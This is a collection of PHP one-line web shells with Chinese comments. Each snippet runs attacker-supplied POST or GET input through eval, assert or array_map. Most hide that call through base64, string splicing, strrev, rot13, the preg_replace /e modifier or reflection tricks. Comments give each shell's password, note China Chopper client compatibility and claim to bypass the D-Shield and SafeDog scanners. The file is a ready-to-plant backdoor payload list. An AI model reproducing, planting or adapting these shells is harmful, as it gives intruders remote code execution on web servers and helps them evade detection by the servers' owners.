<?php $a = base64_decode(Y.X.N.z.Z.X.J01);$a($_POST[g]);?>

/*--------------------------------------------------------------------------------*/ 

<?php $x_x=base64_decode(Y.X.N.z.Z.X.J01);$x_x(($_POST[$_GET[a]]));?>

/*--------------------------------------------------------------------------------*/ 

<?php $p=base64_decode("bW93YW5n");$i['j']='assert';$a[]=$i;@$a[0]['j']($_POST[$p]);$filename = $php_self=substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);function set_writeable($file_name){if(@chmod($file_name,0444)){echo "OK";}else{echo "no";}}set_writeable($filename);?>
//密码mowang

/*--------------------------------------------------------------------------------*/ 

<?php substr(md5($_REQUEST['x']),28)=='acd0'&&eval($_REQUEST['c']);?>
//菜刀提交  http://192.168.1.5/x.php?x=lostwolf  脚本类型:php  密码为 c

/*--------------------------------------------------------------------------------*/ 

<?php assert($_REQUEST["c"]);?>     //菜刀连接 躲避检测 密码c

/*--------------------------------------------------------------------------------*/ 

<?php $Exp=strrev($_POST[‘longmo’]);eval($Exp($_POST[z0]));?>
//密码longmo

/*--------------------------------------------------------------------------------*/ 

<?php  $a = "a"."s"."s"."e"."r"."t";  $a($_POST[cc]);  ?>

/*--------------------------------------------------------------------------------*/ 

<?php                  
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";                  
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";                  
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}                  
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>
//密码-7

/*--------------------------------------------------------------------------------*/ 

<?php 
array_map("ass\x65rt",(array)$_REQUEST['zhe']);?>
?>
//密码zhe

/*--------------------------------------------------------------------------------*/ 

<?php
$item['wind'] = 'assert';
$array[] = $item;
$array[0]['wind']($_POST['xiaozhe']); 
?>
//密码xiaozhe

/*--------------------------------------------------------------------------------*/ 

<?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["#"]); ?>
//密码#

/*--------------------------------------------------------------------------------*/ 

<?($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');?>
//密码b4dboy

/*--------------------------------------------------------------------------------*/ 

<?php  
$a = $_REQUEST['id'];
preg_replace('/.*/e',' '.$a,'');
?>

?id=eval%28base64_decode%28%22QGV2YWwoJF9QT1NUWydjJ10pOw%22%29%29; 密码c

/*--------------------------------------------------------------------------------*/ 

<?php
$p =& $_GET;array_map($p['call'],$p);
?>
//密码call

/*--------------------------------------------------------------------------------*/ 

<?php $lang = (string)key($_POST);$lang($_POST['test']);?>
//密码test

/*--------------------------------------------------------------------------------*/ 

<?php $e = $_REQUEST['e'];$arr = array($_POST['settoken'],);array_map(base64_decode($e), $arr);?>
//密码settoken

/*--------------------------------------------------------------------------------*/ 

<?php  
/**   
* $a=$_POST[];  
* assert  
*/ 
$a='';  
class TestClass { }  
$rc = new ReflectionClass('TestClass');  
$str=$rc->getDocComment();  
$pos=strpos($str,'$a');  
$eval=substr($str,$pos,15);  
$pos=strpos($str,'assert');  
$fun=substr($str,$pos,6);  
echo $eval;  
$fun($eval);  
echo $a;  
$fun($a);  
?> 
//密码TestClass

/*--------------------------------------------------------------------------------*/ 
过D盾过安全狗
 
<?php
error_reporting(0);
$b="zxczxczxczxczxcxzczx";
function  yuag_array($b,$c){
$b=strrev($b);
print "www.baidu.com";
array_map(substr_replace($b, 'ss', 1, 0),array($c));
}
yuag_array("trea",$_POST['Test']);


<?php
$a ="www.baidu.com";
function yuag($a){
eval($a);
}
@
yuag($_POST['Test']);
/*--------------------------------------------------------------------------------*/ 
